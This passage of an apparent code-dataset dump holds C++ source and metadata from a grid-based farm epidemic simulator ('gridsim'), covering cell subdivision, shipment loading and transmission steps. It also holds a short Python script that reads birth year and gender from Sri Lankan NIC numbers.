ll.get_y()+half_side, half_side, parent, C));\n children.push_back(new Cell(ll.get_x()+half_side, ll.get_y()+half_side, half_side, parent, C));\n\n\n std::vector<std::vector<Node*>> cell_nodes(4, std::vector<Node*>());\n// OLD std::vector<double> log_c_sizes(4,0);\n std::vector<double> log_c_sizes;\n std::vector<double> c_sizes;\n for(size_t i = 0; i < children.size(); i++)\n {\n for(Node* node : nodes)\n {\n if(children[i]->isWithin(node))\n cell_nodes[i].push_back(node);\n }\n //Count the number of nodes that will end up in each cell.\n //Only count variance for cells that have nodes\n if(cell_nodes[i].size() > 0)\n log_c_sizes.push_back(std::log(cell_nodes[i].size()));\n c_sizes.push_back(cell_nodes[i].size());\n }\n\n //Calculate new and original variance from the target value\n double c_var = common::variance_from(log_c_sizes, std::log(max_nodes));\n double p_var = double(std::log(this->get_n_nodes()) - std::log(max_nodes)) * double(std::log(this->get_n_nodes()) - std::log(max_nodes));\n\n if(c_var < p_var or force_division)\n {\n //Actually add the nodes to the cell.\n for(size_t i = 0; i < children.size(); i++)\n {\n for(Node* node : cell_nodes[i])\n {\n children[i]->addNode(node);\n }\n }\n std::vector<Cell*> children_with_nodes;\n for(Cell* child : children)\n {\n if(child->get_n_nodes() > 0)\n {\n children_with_nodes.push_back(child);\n }\n else\n {\n delete child;\n }\n }\n //Subdivide the children that has been created at this level\n for(Cell* child : children_with_nodes)\n {\n std::vector<Cell*> grandchildren = child->subdivideQuad(max_nodes);\n //Add the new children to the complete list of cells.\n completed_cells.insert(completed_cells.end(),\n grandchildren.begin(), grandchildren.end());\n }\n }\n else\n {\n completed_cells.insert(completed_cells.end(),\n this);\n }\n }\n else\n {\n completed_cells.insert(completed_cells.end(),\n this);\n }\n return completed_cells;\n}\n\nstd::string Cell::as_str()\n{\n std::stringstream ss;\n ss << \"Cell \" << id << \": \"\n << \"ll (\" << ll.get_x() << \"; \" << ll.get_y() << \"); \"\n << \"lr (\" << lr.get_x() << \"; \" << lr.get_y() << \"); \"\n << \"ul (\" << ul.get_x() << \"; \" << ul.get_y() << \"); \"\n << \"ur (\" << ur.get_x() << \"; \" << ur.get_y() << \"); \"\n << \"N nodes: \" << n_nodes;\n\n return ss.str();\n}\n"
},
{
"alpha_fraction": 0.5346465110778809,
"alphanum_fraction": 0.5381639003753662,
"avg_line_length": 36.407894134521484,
"blob_id": "240bacc0168314a06594ff52a2664cac5ed53e85",
"content_id": "ccb841fd2ec853a041571a2558823b666b139fc4",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2843,
"license_type": "permissive",
"max_line_length": 127,
"num_lines": 76,
"path": "/src/Shipment_handler.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include \"Shipment_handler.h\"\n#include \"Node.h\"\n#include \"common_functions.h\"\n\nShipment_handler::Shipment_handler(std::string shipment_fn,\n std::unordered_map<unsigned int, Node*>& node_map)\n{\n std::cout << \"Loading shipments...\" << std::flush;\n TimePoint process_start = common::get_wall_time();\n\n std::ifstream shipment_file(shipment_fn);\n if(shipment_file.is_open())\n {\n common::skipBOM(shipment_file);\n unsigned int n_lines = common::get_n_lines(shipment_file);\n shipment_vector.reserve(n_lines);\n std::string line;\n unsigned int line_number = 0;\n while(std::getline(shipment_file, line))\n {\n std::vector<std::string> line_vector = common::split(line, '\\t');\n if(!line_vector.empty() and line_vector.size() == 5)\n {\n Shipment* s = new Shipment;\n s->id = common::stringToNum<unsigned int>(line_vector[0]);\n unsigned int o_node_id = common::stringToNum<unsigned int>(line_vector[1]);\n s->origin = node_map.at(o_node_id);\n unsigned int d_node_id = common::stringToNum<unsigned int>(line_vector[2]);\n s->destination = node_map.at(d_node_id);\n s->timestep = common::stringToNum<unsigned int>(line_vector[3]);\n s->n = common::stringToNum<unsigned int>(line_vector[4]);\n shipment_vector.push_back(s);\n time_shipment_map[s->timestep].push_back(s);\n }\n else\n {\n std::cout << \"Error found in shipment file at line \" << line_number << \". (\" << line << \").\" << std::endl;\n std::cout << \"Line should read shipment_id\\tfrom_id\\tto_id\\timestep\\num_animals (tab separated).\" << std::endl;\n exit(EXIT_FAILURE);\n }\n }\n }\n else\n {\n std::cout << \"Failed to open shipment file \" << shipment_fn << \".\" << std::endl;\n exit(EXIT_FAILURE);\n }\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"complete (\" << process_duration << \" ms).\" << std::endl;\n}\n\nShipment_handler::~Shipment_handler()\n{\n for(Shipment* s : shipment_vector)\n delete s;\n}\n\nvoid Shipment_handler::make_transmission(unsigned int t)\n{\n auto it = time_shipment_map.find(t);\n if(it != time_shipment_map.end())\n {\n std::vector<Shipment*> ship_v = (it->second);\n for(Shipment* s : ship_v)\n {\n unsigned int origin_status = s->origin->get_status();\n if(origin_status == 2 or origin_status == 3)\n {\n if(s->destination->get_status() == 1)\n {\n s->destination->become_exposed();\n }\n }\n }\n }\n}\n"
},
{
"alpha_fraction": 0.5419862866401672,
"alphanum_fraction": 0.551231324672699,
"avg_line_length": 28.593788146972656,
"blob_id": "8fc824335f438a2c43e8c2a89762d0735a62286d",
"content_id": "a69090e58576bda71504d5c2439c76cf7baec6bb",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 24770,
"license_type": "permissive",
"max_line_length": 160,
"num_lines": 837,
"path": "/src/Grid.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include \"Grid.h\"\n#include \"Config.h\"\n#include \"common_functions.h\"\n#include \"Cell.h\"\n#include \"Node.h\"\n#include \"Shipment_handler.h\"\n\n#include <iostream>\n#include <ctime>\n#include <chrono>\n#include <fstream>\n#include <sstream>\n#include <stdio.h>\n#include <stdlib.h>\n#include <cmath>\n#include <set>\n\n\nGrid::Grid(const Config& C) :\n n_cells_1d(C.n_cells_1d), C(C), LS(C), current_timestep(0)\n{\n readNodes(C.node_file);\n if(C.shipments_on)\n {\n SH = new Shipment_handler(C.shipment_file, node_map);\n }\n\n if(C.cell_method == 1)\n {\n makeCellsFixed(); //Construct static grid\n simple_distances = true;\n }\n else if(C.cell_method == 2)\n {\n makeCellsDynamicSquare(C.cell_max_farms); //Construct adaptive grid.\n simple_distances = false;\n }\n else\n {\n std::cout << \"Incorrect cell creation method (\" << C.cell_method\n << \"). Exiting...\" << std::endl;\n exit(EXIT_FAILURE);\n }\n for(size_t i = 0; i < cells.size(); i++)\n {\n cells[i]->set_distance_index(i);\n }\n\n makeShortestDistances(); //Precalculate all shortest distances between cells.\n initCells(); //Set up the cells' nodes' statuses.\n makeKernelValues(); //Precalculate the distance kernel values.\n\n if(C.opt_method == 3 or C.opt_method == 4 or C.opt_method == 5)\n {\n makeBinomialLookup(); //Generate lookup tables for binomial distributions.\n }\n initSeed(); //Set up the chosen seed scheme.\n all_tra_nodes.reserve(all_nodes.size());\n}\n\nGrid::~Grid()\n{\n for(Cell* c : cells)\n {\n delete c;\n }\n for(Node* n : all_nodes)\n {\n delete n;\n }\n if(C.shipments_on)\n {\n delete SH;\n }\n}\n\n//Read landscape file with nodes.\nvoid Grid::readNodes(std::string node_file)\n{\n std::cout << \"Loading nodes...\" << std::flush;\n TimePoint process_start = common::get_wall_time();\n std::vector<double> all_x, all_y; //To store x and y values for finding boundaries\n\n std::ifstream f(node_file, std::ifstream::in);\n if(!f)\n {\n std::cout << \"Node file \" << node_file << \" not found. Exiting...\"\n << std::endl; exit(EXIT_FAILURE);\n }\n\n if(f.is_open())\n {\n common::skipBOM(f);\n unsigned int n_lines = common::get_n_lines(f);\n all_nodes.reserve(n_lines);\n all_x.reserve(n_lines);\n all_y.reserve(n_lines);\n std::set<unsigned int> unique_groups;\n\n std::string line;\n while(std::getline(f, line))\n {\n std::vector<std::string> line_vector = common::split(line, '\\t');\n if(!line_vector.empty())\n {\n unsigned int id = common::stringToNum<unsigned int>(line_vector[0]);\n unsigned int group = common::stringToNum<unsigned int>(line_vector[1]);\n double x = common::stringToNum<double>(line_vector[2]);\n double y = common::stringToNum<double>(line_vector[3]);\n unsigned int num_sp1 = common::stringToNum<unsigned int>(line_vector[4]);\n unsigned int num_sp2 = common::stringToNum<unsigned int>(line_vector[5]);\n Node* n = new Node(x, y, num_sp1, num_sp2, id, group, C, this);\n all_nodes.push_back(n);\n node_map[id] = n;\n all_x.push_back(x);\n all_y.push_back(y);\n group_node_map[group].push_back(n);\n unique_groups.insert(group);\n }\n }\n findBoundaries(all_x, all_y);\n groups.assign(unique_groups.begin(), unique_groups.end());\n }\n\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"done. \" << all_nodes.size() << \" nodes read from \" << node_file\n << \" (\" << process_duration << \" ms)\" << std::endl;\n\n if(C.local_kernel == 1 or C.local_kernel == 3 or C.local_kernel == 4 or\n C.local_kernel == 5 or C.local_kernel == 6 or C.local_kernel == 7 or\n C.local_kernel == 9)\n {\n initTransmissionParametersUSDOS2();\n }\n else if(C.local_kernel == 2)\n {\n initTransmissionParametersGaussian();\n }\n else if(C.local_kernel == 8)\n {\n initTransmissionParametersHayama();\n }\n else\n {\n std::cout << \"No initiation for kernel \" << C.local_kernel << \"? Please handle this \"\n << \"explicitly around line \" << __LINE__ << \" in \" << __FILE__ << \".\"\n << std::endl; exit(EXIT_FAILURE);\n }\n}\n\nvoid Grid::initTransmissionParametersUSDOS2()\n{\n std::cout << \"Calculating transmission parameters...\" << std::flush;\n TimePoint process_start = common::get_wall_time();\n\n// //Species 1\n// unsigned int sum_num1 = 0;\n// double sum_num_p1 = 0.0;\n// double sum_num_q1 = 0.0;\n// //Species 2\n// unsigned int sum_num2 = 0;\n// double sum_num_p2 = 0.0;\n// double sum_num_q2 = 0.0;\n//\n// for(Node* node : all_nodes)\n// {\n// //Species 1\n// sum_num1 += node->get_num_sp1();\n// sum_num_q1 += std::pow(node->get_num_sp1(), C.q1);\n// sum_num_p1 += std::pow(node->get_num_sp1(), C.p1);\n// //Species 2\n// sum_num2 += node->get_num_sp2();\n// sum_num_q2 += std::pow(node->get_num_sp2(), C.q2);\n// sum_num_p2 += std::pow(node->get_num_sp2(), C.p2);\n// }\n//\n// //Species 1\n// if(sum_num1 > 0) //If there arent any animals of this type the divisor will be 0 and the result nan.\n// {\n// norm_sus1 = sum_num1 / sum_num_q1;\n// norm_inf1 = sum_num1 / sum_num_p1;\n// }\n//\n// //Species 2\n// if(sum_num2 > 0) //If there arent any animals of this type the divisor will be 0 and the result nan.\n// {\n// norm_sus2 = sum_num2 / sum_num_q2;\n// norm_inf2 = sum_num2 / sum_num_p2;\n// }\n\n for(Node* node : all_nodes)\n {\n node->set_susceptibility(C.S1 * std::pow(node->get_num_sp1(), C.q1) +\n C.S2 * std::pow(node->get_num_sp2(), C.q2));\n node->set_infectiousness(C.T1 * std::pow(node->get_num_sp1(), C.p1) +\n C.T2 * std::pow(node->get_num_sp2(), C.p2));\n }\n\n\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"done \" << \"(\" << process_duration << \" ms).\" << std::endl;\n}\n\nvoid Grid::initTransmissionParametersGaussian()\n{\n for(Node* node : all_nodes)\n {\n node->set_susceptibility(1.0);\n node->set_infectiousness(1.0);\n }\n}\n\nvoid Grid::initTransmissionParametersHayama()\n{\n for(Node* node : all_nodes)\n {\n node->set_susceptibility(std::log(node->get_num_sp1() + node->get_num_sp2()));\n node->set_infectiousness(10.0 * std::log(node->get_num_sp1() + node->get_num_sp2()));\n }\n}\n\nvoid Grid::reset()\n{\n seeded_nodes.clear();\n replicate_kc = 0;\n max_n_inf = 0;\n current_timestep = 0;\n for(Cell* c : cells)\n {\n c->reset();\n }\n group_inf_node_map.clear();\n}\n\n//Seed new nodes at the start of a replicate.\nstd::vector<Node*> Grid::seed()\n{\n static std::vector<Node*>::iterator it = seed_vector.begin();\n seeded_nodes.clear();\n seeded_nodes.reserve(C.seed_n);\n for(size_t i = 0; i<C.seed_n; i++)\n {\n Node* seeded_node = *it;\n seeded_node->become_seeded();\n seeded_nodes.push_back(seeded_node);\n it++;\n }\n std::cout << seeded_nodes.size() << \" nodes seeded.\" << std::endl;\n return seeded_nodes;\n}\n\nstd::vector<Node*> Grid::get_seeded_nodes()\n{\n return seeded_nodes;\n}\n\n//Move time one step forward and perform transmission calculations.\nunsigned long long int Grid::incrementTime()\n{\n current_timestep += 1;\n all_tra_nodes.clear();\n for(Cell* c : cells)\n {\n std::vector<Node*> cell_tra = c->get_transmitting_nodes();\n all_tra_nodes.insert(all_tra_nodes.end(), cell_tra.begin(), cell_tra.end());\n }\n\n //Do infections\n unsigned long long int timestep_kc = 0;\n if(C.opt_on_node_level)\n {\n timestep_kc = this->makeTransmissionNode();\n }\n else\n {\n timestep_kc = this->makeTransmissionCell();\n }\n replicate_kc += timestep_kc;\n if(C.shipments_on)\n {\n SH->make_transmission(current_timestep);\n }\n //Update all nodes' statuses.\n for(Cell* c : cells)\n {\n c->commitTimeStep();\n }\n\n std::vector<size_t> current_status = this->get_current_status();\n size_t current_n_inf = current_status[1] + current_status[2] + current_status[3];\n if(current_n_inf > max_n_inf)\n max_n_inf = current_n_inf;\n\n return timestep_kc; //Return the number of kernel requests.\n}\n\n\nvoid Grid::add_to_group_inf(Node* n, unsigned int group)\n{\n group_inf_node_map[group].push_back(n);\n}\n\nstd::vector<size_t> Grid::get_current_status()\n{\n //Update all nodes and get summary data.\n std::vector<size_t> current_status_v = {0, 0, 0, 0, 0};\n for(Cell* c : cells)\n c->current_status(current_status_v);\n\n return current_status_v;\n}\n\nstd::unordered_map<unsigned int, std::vector<Node*>> Grid::get_inf_nodes_by_group()\n{\n return group_inf_node_map;\n}\n\n\nsize_t Grid::get_time()\n{\n return current_timestep;\n}\n\nvoid Grid::findBoundaries(std::vector<double>& all_x, std::vector<double>& all_y)\n{\n //Setup variables to be used\n x_bounds.resize(2);\n y_bounds.resize(2);\n x_bounds[0] = all_x[0];\n x_bounds[1] = all_x[0];\n y_bounds[0] = all_y[0];\n y_bounds[1] = all_y[0];\n\n //Find smallest and largest x\n for(double x : all_x)\n {\n if(x <= x_bounds[0])\n x_bounds[0] = x;\n if(x >= x_bounds[1])\n x_bounds[1] = x;\n }\n\n //...and y\n for(double y : all_y)\n {\n if(y <= y_bounds[0])\n y_bounds[0] = y;\n if(y >= y_bounds[1])\n y_bounds[1] = y;\n }\n\n //Add a small amount to xmax and ymax so no nodes end up on the edge.\n x_bounds[1] += std::abs(x_bounds[1]) * 0.00001;\n y_bounds[1] += std::abs(y_bounds[1]) * 0.00001;\n\n //Get side length from boundaries\n double x_len = x_bounds[1] - x_bounds[0];\n double y_len = y_bounds[1] - y_bounds[0];\n if(x_len > y_len)\n side = x_len;\n else\n side = y_len;\n longest_distance = std::sqrt(2*(side*side));\n std::cout << \"Grid boundaries set to x:[\" << x_bounds[0] << \", \" << x_bounds[1]\n << \"] and y:[\" << y_bounds[0] << \", \" << y_bounds[1] << \"]. Side set to \"\n << side << \". Longest possible distance set to \" << longest_distance << \".\"\n << std::endl;\n}\n\nunsigned int Grid::get_n_cells()\n{\n return (unsigned int)cells.size();\n}\n\nunsigned int Grid::get_n_groups()\n{\n return group_node_map.size();\n}\n\nstd::vector<unsigned int> Grid::get_groups()\n{\n return groups;\n}\n\nsize_t Grid::get_max_n_inf()\n{\n return max_n_inf;\n}\n\nstd::vector<Node*> Grid::get_all_nodes()\n{\n return all_nodes;\n}\n\ndouble Grid::get_cell_size_mean()\n{\n std::vector<unsigned int> sizes;\n sizes.reserve(cells.size());\n for(Cell* c : cells)\n {\n sizes.push_back(c->get_n_nodes());\n }\n return common::average(sizes);\n}\n\ndouble Grid::get_cell_size_variance_from(double val)\n{\n std::vector<unsigned int> sizes;\n sizes.reserve(cells.size());\n for(Cell* c : cells)\n {\n sizes.push_back(c->get_n_nodes());\n }\n return common::variance_from(sizes, val);\n}\n\ndouble Grid::get_cell_size_stdev_from(double val)\n{\n return std::sqrt(get_cell_size_variance_from(val));\n}\n\nsize_t Grid::get_cell_cell_distance(size_t c1_d_idx, size_t c2_d_idx)\n{\n return cellCellDistanceMatrix.at(c1_d_idx).at(c2_d_idx);\n}\n\n//Over-estimated infection probability between two cells.\ndouble Grid::get_cell_cell_pover(size_t c1_d_idx, size_t c2_d_idx)\n{\n return cellCellPoverMatrix.at(c1_d_idx).at(c2_d_idx);\n}\n\n//Kernel calls for the entire replicate.\nunsigned long long int Grid::get_replicate_kc()\n{\n return replicate_kc;\n}\n\n//Calls python code externally. Only if active in config file.\nvoid Grid::plotGridAndNodes(bool draw_empty_cells)\n{\n //create out file\n std::cout << \"Creating a colorful plot of the grid...\";\n bool grid_f_success = false;\n std::ofstream ofs_grid(\"_grid.dat\", std::ofstream::out);\n if(ofs_grid.is_open())\n {\n grid_f_success = true;\n //get corners of each cell\n std::ostringstream oss_grid;\n for(Cell* c : cells)\n {\n if(draw_empty_cells == true or\n c->get_n_nodes() > 0)\n {\n std::vector<Point> corners = c->get_corners();\n //write to sstream\n for(Point p : corners)\n {\n oss_grid << p.get_x();\n oss_grid << \"\\t\";\n oss_grid << p.get_y();\n oss_grid << \"\\t\";\n }\n oss_grid << c->get_id();\n oss_grid << \"\\n\";\n }\n }\n //write to file\n ofs_grid << oss_grid.str();\n //close file\n ofs_grid.close();\n }\n\n //nodes\n //create out file\n bool node_f_success = false;\n std::ofstream ofs_node(\"_nodes.dat\", std::ofstream::out);\n if(ofs_node.is_open())\n {\n node_f_success = true;\n //get pos of each node\n std::ostringstream oss_node;\n for(Node* n : all_nodes)\n {\n Point position = n->get_position();\n //write to sstream\n oss_node << position.get_x();\n oss_node << \"\\t\";\n oss_node << position.get_y();\n oss_node << \"\\t\";\n oss_node << n->get_parent()->get_id();\n oss_node << \"\\n\";\n }\n\n //write to file\n ofs_node << oss_node.str();\n //close file\n ofs_node.close();\n }\n\n //Plot using the .dat files\n system(\"python3 plot_grid_node_relation.py\");\n\n //Delete the temporary files\n if(grid_f_success)\n {\n std::remove(\"_grid.dat\");\n }\n if(node_f_success)\n {\n std::remove(\"_nodes.dat\");\n }\n std::cout << \"done.\" << std::endl;\n}\n\n//Calls python code externally. Only if active in config file.\nvoid Grid::plotCellSizeHist(unsigned int max_nodes)\n{\n //create out file\n std::cout << \"Creating a histogram of cell sizes...\";\n bool size_f_success = false;\n std::ofstream ofs_cells(\"_cellsize.dat\", std::ofstream::out);\n if(ofs_cells.is_open())\n {\n size_f_success = true;\n //get corners of each cell\n std::ostringstream oss_cells;\n oss_cells << max_nodes << \"\\n\";\n for(Cell* c : cells)\n {\n oss_cells << c->get_n_nodes() << \"\\n\";\n }\n\n //write to file\n ofs_cells << oss_cells.str();\n //close file\n ofs_cells.close();\n }\n\n //Plot using the .dat files\n system(\"python3 plot_cell_hist.py\");\n\n //Delete the temporary files\n if(size_f_success)\n {\n std::remove(\"_grid.dat\");\n }\n std::cout << \"done.\" << std::endl;\n}\n\n//Create a static grid.\nvoid Grid::makeCellsFixed()\n{\n std::cout << \"Constructing fixed-size cells...\" << std::flush;\n TimePoint process_start = common::get_wall_time();\n double cell_side = side / n_cells_1d;\n std::vector<Node*> remaining_nodes = all_nodes;\n std::vector<Node*> temp_node_v;\n temp_node_v.reserve(all_nodes.size());\n int added_nodes = 0;\n\n for(unsigned int i = 0; i < n_cells_1d; i++)\n {\n for(unsigned int j = 0; j < n_cells_1d; j++)\n {\n double ll_x = x_bounds[0] + j*cell_side;\n double ll_y = y_bounds[0] + i*cell_side;\n Cell* c = new Cell(ll_x, ll_y, cell_side, this, C);\n cells.push_back(c);\n\n //Add the nodes that belong to this cell.\n for(Node* n : remaining_nodes)\n {\n if(c->isWithin(n))\n {\n c->addNode(n);\n added_nodes++;\n }\n else\n {\n temp_node_v.push_back(n);\n }\n\n }\n remaining_nodes.swap(temp_node_v); //Save the remaining nodes in rem_nodes vector.\n temp_node_v.clear(); //Empty the temp vector for next iteration.\n }\n }\n if(remaining_nodes.size() > 0)\n {\n std::cout << \"All nodes were not added to cells during fixed cell creation. Exiting\" << std::endl;\n exit(EXIT_FAILURE);\n }\n\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"done. \" << cells.size() << \" identical cells created. (\" << process_duration <<\n \" ms)\" << std::endl;\n}\n\n//Make a adaptive grid by recursively dividing one large cell into 4 children until limit (lambda) is reached.\nvoid Grid::makeCellsDynamicSquare(unsigned int max_nodes)\n{\n std::cout << \"Constructing dynamically sized square cells with max \" << max_nodes\n << \" nodes in each...\" << std::flush;\n TimePoint process_start = common::get_wall_time();\n\n Cell supercell(x_bounds[0], y_bounds[0], side, this, C);\n supercell.addNodes(all_nodes);\n cells = supercell.subdivideQuad(max_nodes, true);\n\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"done. \" << cells.size() << \" cells created. (\" << process_duration <<\n \" ms)\" << std::endl;\n}\n\n//Precalculate distances between all grid cells.\nvoid Grid::makeShortestDistances()\n{\n std::string method_str;\n if(simple_distances)\n method_str = \"simple\";\n else\n method_str = \"complex\";\n\n std::cout << \"Precalculating integer distances (rounded up) between all \" << cells.size()\n << \" cells using \" << method_str << \" function...\" << std::flush;\n TimePoint process_start = common::get_wall_time();\n\n //Initiate the distance matrix.\n cellCellDistanceMatrix.resize(cells.size());\n for(size_t i = 0; i < cellCellDistanceMatrix.size(); i++)\n {\n cellCellDistanceMatrix.at(i).resize(cells.size(), 0);\n }\n\n //Find every cell-to-cell distance and save as an integer.\n for(Cell* c1 : cells)\n {\n for(Cell* c2 : cells)\n {\n double d = 0.0;\n if(simple_distances)\n d = c1->calc_shortestDistanceSimple(c2);\n else\n d = c1->calc_shortestDistanceComplex(c2);\n\n cellCellDistanceMatrix[c1->get_distance_index()][c2->get_distance_index()] = (unsigned int)(d + 0.5);\n }\n }\n\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"done. (\" << process_duration << \" ms)\" << std::endl;\n}\n\n//Precalculate distance kernel values.\nvoid Grid::makeKernelValues()\n{\n std::cout << \"Precalculating kernel values for all integer distances between 0 and \"\n << int(longest_distance + 0.5) << \"...\" << std::flush;\n TimePoint process_precalc_kernel = common::get_wall_time();\n\n LS.init_kernel_lookup(longest_distance);\n\n unsigned long long int process_precalc_kernel_duration = common::delta_duration(process_precalc_kernel);\n std::cout << \"done (\" << process_precalc_kernel_duration << \" ms).\" << std::endl;\n\n std::cout << \"Precalculating overestimated probability of infection between all \" << cells.size()\n << \" cells...\" << std::flush;\n TimePoint process_pover_start = common::get_wall_time();\n\n //Initiate the p-over matrix.\n cellCellPoverMatrix.resize(cells.size());\n for(size_t i = 0; i < cellCellPoverMatrix.size(); i++)\n {\n cellCellPoverMatrix.at(i).resize(cells.size(), 0);\n }\n\n for(Cell* inf_cell : cells)\n {\n for(Cell* sus_cell : cells)\n {\n double p_over = LS.calc_infection_p_over(inf_cell, sus_cell);\n cellCellPoverMatrix.at(inf_cell->get_distance_index()).at(sus_cell->get_distance_index()) = p_over;\n }\n }\n unsigned long long int process_pover_duration = common::delta_duration(process_pover_start);\n std::cout << \"done. (\" << process_pover_duration << \" ms)\" << std::endl;\n}\n\nvoid Grid::makeBinomialLookup()\n{\n std::cout << \"Setting up binomial random variables lookup table \" << std::flush;\n TimePoint process_start = common::get_wall_time();\n //Find number of nodes in largest cell.\n size_t largest_n = 1;\n for(Cell* c : cells)\n {\n size_t n = c->get_n_nodes();\n if(n > largest_n)\n largest_n = n;\n }\n std::cout << \"(largest n: \" << largest_n << \")...\" << std::flush;\n LS.init_binomial_lookup(largest_n);\n unsigned long long int process_duration = common::delta_duration(process_start);\n std::cout << \"done (\" << process_duration << \" ms).\" << std::endl;\n}\n\n\nvoid Grid::initCells()\n{\n for(Cell* c : cells)\n {\n c->init_node_statuses();\n c->init_transmission_parameters();\n }\n}\n\nvoid Grid::initSeed()\n{\n if(C.seed_method == 1)\n {\n common::random_unique(all_nodes, C.n_replicates*C.seed_n, seed_vector);\n }\n\n else if(C.seed_method == 2)\n {\n// std::cout << \"Seeding from file is currently unavailable. \"\n// << \"Function unfinished.\" << std::endl;\n// ping();\n// exit(EXIT_FAILURE);\n //Read seed info from file and save to seed_vector.\n std::ifstream f(C.seed_file, std::ifstream::in);\n if(!f)\n {\n std::cout << \"Seed file not found. Exiting...\"\n << std::endl; exit(EXIT_FAILURE);\n }\n if(f.is_open())\n {\n common::skipBOM(f);\n unsigned int n_lines = common::get_n_lines(f);\n std::vector<Node*> seed_vector_one_rep;\n std::string line;\n size_t line_n = 1;\n while(std::getline(f, line))\n {\n size_t seed_id = std::stoi(line);\n Node* seed_node;\n try\n {\n seed_node = node_map.at(seed_id);\n }\n catch(const std::out_of_range& oorange_exception)\n {\n std::cerr << \"Error: \" << oorange_exception.what() << std::endl\n << seed_id << \" in the \" << C.seed_file\n << \" not found among farms.\" << std::endl;\n exit(EXIT_FAILURE);\n }\n seed_vector_one_rep.push_back(seed_node);\n line_n++;\n }\n f.close();\n seed_vector.reserve(C.n_replicates * n_lines);\n for(size_t i = 0; i < C.n_replicates; i++)\n {\n seed_vector.insert(seed_vector.end(), seed_vector_one_rep.begin(), seed_vector_one_rep.end());\n }\n\n }\n }\n else if(C.seed_method == 3)\n {\n seed_vector.assign(C.n_replicates, node_map.at(C.specific_seed_id)); //This option is reused as id of node to seed in case of single spec. node seeding.\n }\n else if(C.seed_method == 4)\n {\n seed_vector.reserve(this->get_n_groups());\n //Seeds one random node in each group. The number of replicates is changed in main.cpp to equal n_groups\n for(auto& group_nodes_pair : group_node_map)\n {\n int idx = common::rand_int(0, group_nodes_pair.second.size() - 1);\n seed_vector.push_back(group_nodes_pair.second.at(idx));\n }\n }\n else\n {\n std::cout << \"Unknown seed method (\" << C.seed_method << \"). Exiting...\" << std::endl;\n exit(EXIT_FAILURE);\n }\n}\n\n//Performs transmission between nodes and cells.\nunsigned long long int Grid::makeTransmissionNode()\n{\n unsigned long long int timestep_kc = 0; //Keeps track of total number of kernel calls made this timestep\n unsigned long long int node_level_kc;\n\n\n for(size_t node_i = 0; node_i < all_tra_nodes.size(); node_i++)\n {\n node_level_kc = 0;\n Node* inf_n = all_tra_nodes[node_i];\n for(Cell* c_sus : cells)\n {\n if(c_sus->get_n_sus() > 0)\n {\n node_level_kc += LS.makeInfections(inf_n, c_sus);\n }\n }\n timestep_kc = timestep_kc + node_level_kc;\n }\n return timestep_kc;\n}\n\n//Performs transmission between cells.\nunsigned long long int Grid::makeTransmissionCell()\n{\n unsigned long long int timestep_kc = 0; //Keeps track of total number of kernel calls made this timestep\n unsigned long long int cell_level_kc;\n\n\n for(Cell* c1 : cells)\n {\n if(c1->get_n_inf() > 0)\n {\n cell_level_kc = 0;\n for(Cell* c2 : cells)\n {\n cell_level_kc += LS.makeInfections(c1, c2);\n }\n timestep_kc = timestep_kc + cell_level_kc;\n }\n }\n return timestep_kc;\n}\n"
}
] | 22 |
BinuraMethmal/Python-Simple-works | https://github.com/BinuraMethmal/Python-Simple-works | 6958373c1d1d56e78e323790ba629000ccb5e004 | 7e27498cb42db6cf3b0701c02bfed0a997627611 | a27845cd0c756800a411dcfe3d5e4950d31d5230 | refs/heads/master | 2022-01-23T07:42:29.882245 | 2019-08-12T16:43:33 | 2019-08-12T16:43:33 | 199,129,590 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.42307692766189575,
"alphanum_fraction": 0.4766899645328522,
"avg_line_length": 19.780487060546875,
"blob_id": "739a48795761683e74a5962c07ab70a6cbac7c7e",
"content_id": "04b2b7f75f89b2582c3d9f3b275cbc10e1d88235",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 858,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 41,
"path": "/NIC.py",
"repo_name": "BinuraMethmal/Python-Simple-works",
"src_encoding": "UTF-8",
"text": "n=str(input(\"Enter your NIC number : \"))\n\nif len(n)==10:\n print(\"NIC Type : Old \")\n birth=n[:2]\n print(\"You were born on \",birth)\n \n g=n[2:5]\n \n g_int=int(g)\n #print(g_int)\n\n if g_int>000 and g_int<367: \n print(\"You are a Male.\")\n \n elif g_int>500 and g_int<867:\n print(\"You are a Female.\")\n \n if (n[9]==(\"V\")):\n print(\"You are a Voter.\")\n \n elif (n[9]==(\"X\")):\n print(\"You are a Non Voter.\")\n \nelif len(n)==12:\n print(\"NIC Type : New \")\n\n birth2=n[:4]\n print(\"You were Born on \",birth2)\n\n g2=n[4:7] \n g2_int=int(g2)\n #print(g2_int)\n\n if g2_int>000 and g2_int<367: \n print(\"You are a Male.\")\n \n elif g2_int>500 and g2_int<867:\n print(\"You are a Female.\") \nelse:\n print(\"Invalid NIC number!\")\n\n \n"
},
{
"alpha_fraction": 0.6360902190208435,
"alphanum_fraction": 0.6676691770553589,
"avg_line_length": 19.15151596069336,
"blob_id": "b9ce7a451209a9ce6bd4643177fc8e3c317392f9",
"content_id": "e428ad88e87d2df02a1e40fd036ce106de1229fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 665,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 33,
"path": "/Lottery machine.py",
"repo_name": "BinuraMethmal/Python-Simple-works",
"src_encoding": "UTF-8",
